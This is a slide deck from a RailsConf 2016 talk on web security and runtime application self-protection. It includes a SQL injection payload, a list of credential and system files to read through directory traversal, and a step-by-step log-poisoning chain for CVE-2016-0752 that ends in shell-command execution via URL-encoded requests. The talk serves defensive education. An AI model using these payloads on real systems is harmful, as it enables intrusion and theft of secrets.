43
State of Web Security Mike Milner CTO @immunio RailsConf 2016

State of Web Security RailsConf 2016

  • Upload
    immunio

  • View
    310

  • Download
    0

Embed Size (px)

Citation preview

Page 1: State of Web Security RailsConf 2016

State of Web Security

Mike Milner CTO @immunio RailsConf 2016

Page 2: State of Web Security RailsConf 2016
Page 3: State of Web Security RailsConf 2016

TodayChecked in to my flight

Read the News

Paid for Parking

Coffee with the Starbucks app

Boarding Pass Slack

Gmail

Review some Pull Requests Uber

RailsConf Schedule

Trello

Banking

Facebook

Twitter

Ashley Madison

Manage your corporate network

Page 4: State of Web Security RailsConf 2016

All On the Web

Page 5: State of Web Security RailsConf 2016

All On the Web

Who is protecting my data?

Page 6: State of Web Security RailsConf 2016

How?

Framework up to Date?

Libraries Patched?

Code Reviewed for Security?

Monitoring for New CVEs?

Reviewed External libraries?

Static Analysis?

Fixed Insecure Defaults?

Page 7: State of Web Security RailsConf 2016

Security is Hard

But it can be SOOO

Interesting :)

Page 8: State of Web Security RailsConf 2016

Three Types of Vulnerable Code

• Code written by you

• Code written by someone else

• Code not written

Page 9: State of Web Security RailsConf 2016

SQL Injection

• First publicly discussed in 1998. Well understood.

• Largely fixed in all web apps. Right?

"SELECT * FROM users WHERE name = '" + userName + "';"

userName = “' OR 1=1 --“

SELECT * FROM users WHERE name = ‘’ OR 1=1 --‘;

Page 10: State of Web Security RailsConf 2016

Lost 100k customers and £60m

157,000 had details stolen

Page 11: State of Web Security RailsConf 2016

Names, email addresses, passwords, and home addresses of 4,833,678 parents

200,000 kids

Page 12: State of Web Security RailsConf 2016

Email addresses, phone numbers

and dates of birth

656,723 customers

Beer Vouchers

Page 13: State of Web Security RailsConf 2016

ActiveRecord

http://rails-sqli.org/

Page 14: State of Web Security RailsConf 2016

CVE-2016-0752

“Possible Information Leak Vulnerability”

Credited to John Poulin at nVisium

https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00

Page 15: State of Web Security RailsConf 2016

Directory Traversaldef show

render params[:template]

end

Page 16: State of Web Security RailsConf 2016

What if we try: /etc/passwd ?

Image credit: https://nvisium.com/blog

Page 17: State of Web Security RailsConf 2016

Directory Traversal• /etc/passwd

• RAILS_ROOT/config/secrets.yml

• RAILS_ROOT/config/initializers/secret_token.rb

• SSL private keys

• /proc/self/environ

• /proc/<pid>/environ

Page 18: State of Web Security RailsConf 2016

Yikes!

Page 19: State of Web Security RailsConf 2016

Can We Execute Code?

“Helpful” default behaviour in Rails

Unknown extension defaults to ERB template

<%= `whoami` %>

Similar technique to CVE-2014-0130

as described by Jeff Jarmoc @ Matasano

http://matasano.com/research/AnatomyOfRailsVuln-CVE-2014-0130.pdf

Page 20: State of Web Security RailsConf 2016

Basics

Write code into file

Ask Rails to execute it

Page 21: State of Web Security RailsConf 2016

Getting Code into a FileRails does this for us!

/users/page?mycode=1234

Written to production.log

/users/page?mycode=%3c%25%3d%20%60%69%64%60%20%25%3e

<%= `whoami` %>

Page 22: State of Web Security RailsConf 2016

Putting it Together

/users/../../../production.log?mycode=<%= `whoami` %>

/users/%2e%2e%2f%2e%2e%2f%2e%2e%2flog%2fproduction%2elog? mycode=%3c%25%3d%20%60%69%64%60%20%25%3e

Page 23: State of Web Security RailsConf 2016

Website Ransomware

Page 24: State of Web Security RailsConf 2016

Credential Stuffing

Page 25: State of Web Security RailsConf 2016
Page 26: State of Web Security RailsConf 2016

Warranty Fraud

Page 27: State of Web Security RailsConf 2016

How to protect?• Educate Developers

• OWASP Top 10

• Stay up-to-date

• Static Analysis

• Manual Code Review

• Pen-test

Page 28: State of Web Security RailsConf 2016

Active DefenceSignature Based

Hard to maintain, Easy to bypassWAF?

Page 29: State of Web Security RailsConf 2016

Traditional Deployment

Page 30: State of Web Security RailsConf 2016

Deployments Today

Page 31: State of Web Security RailsConf 2016

RASP Runtime Application Self Protection

Page 32: State of Web Security RailsConf 2016

Active DefenceWhat was the actual exploit?

A file was read that shouldn’t be read

Shell commands were executed

Move INSIDE the app and we can see these directly

Page 33: State of Web Security RailsConf 2016

Protect against the exploit

• Uploaded images should not be executed as code

• Don’t load configuration from /tmp

• My app does NOT need to read or write anywhere inside /etc

• In fact, the app shouldn’t be writing anywhere except /tmp and /var/log

• And especially not be reading from /etc/ssl or ~/.ssh/id_rsa

Track code that opens files

Page 34: State of Web Security RailsConf 2016

Protect against the exploit

• Most apps don’t need to execute shell commands. FENCE IT OFF!

• If you do need shell, track the code that runs commands.

• The command that minifies my CSS should not be downloading and executing a perl script!

• The command that sends an invoice should not be opening a reverse shell to Russia!

• And block shell access from everywhere else.

Track shell code execution

Page 35: State of Web Security RailsConf 2016

Inside the App

Much more accurate Fewer false positives.

• SQL Queries for SQL Injection

• Template rendering for Cross Site Scripting

• Authentication attacks and Brute Forcing

• Cross Site Request Forgery

Page 36: State of Web Security RailsConf 2016

Inside the AppBetter Understanding of Vulnerabilities

• Visibility down to the line of code.

• See how bad input affects each template interpolation.

• Monitor what libraries are installed and how they’re used.

• Report gem versions that have known vulnerabilities.

Page 37: State of Web Security RailsConf 2016

Harden the App

Page 38: State of Web Security RailsConf 2016

SQL Injection with RASP

• SELECT * FROM users WHERE name = ‘Mike’

• SELECT * FROM users WHERE name = ‘’ OR 1=1 --‘;

• "SELECT * FROM users WHERE name = '" + userName + "';"

Page 39: State of Web Security RailsConf 2016

Rate Limiting

• Count volume of events in a sliding time window

• Take action when the threshold is exceeded

Page 40: State of Web Security RailsConf 2016
Page 41: State of Web Security RailsConf 2016

Three Types of Vulnerable Code

• Code written by you

• Code written by someone else

• Code not written

Page 42: State of Web Security RailsConf 2016
Page 43: State of Web Security RailsConf 2016

Thank You!Mike Milner

CTO @immunio RailsConf 2016 www.immun.io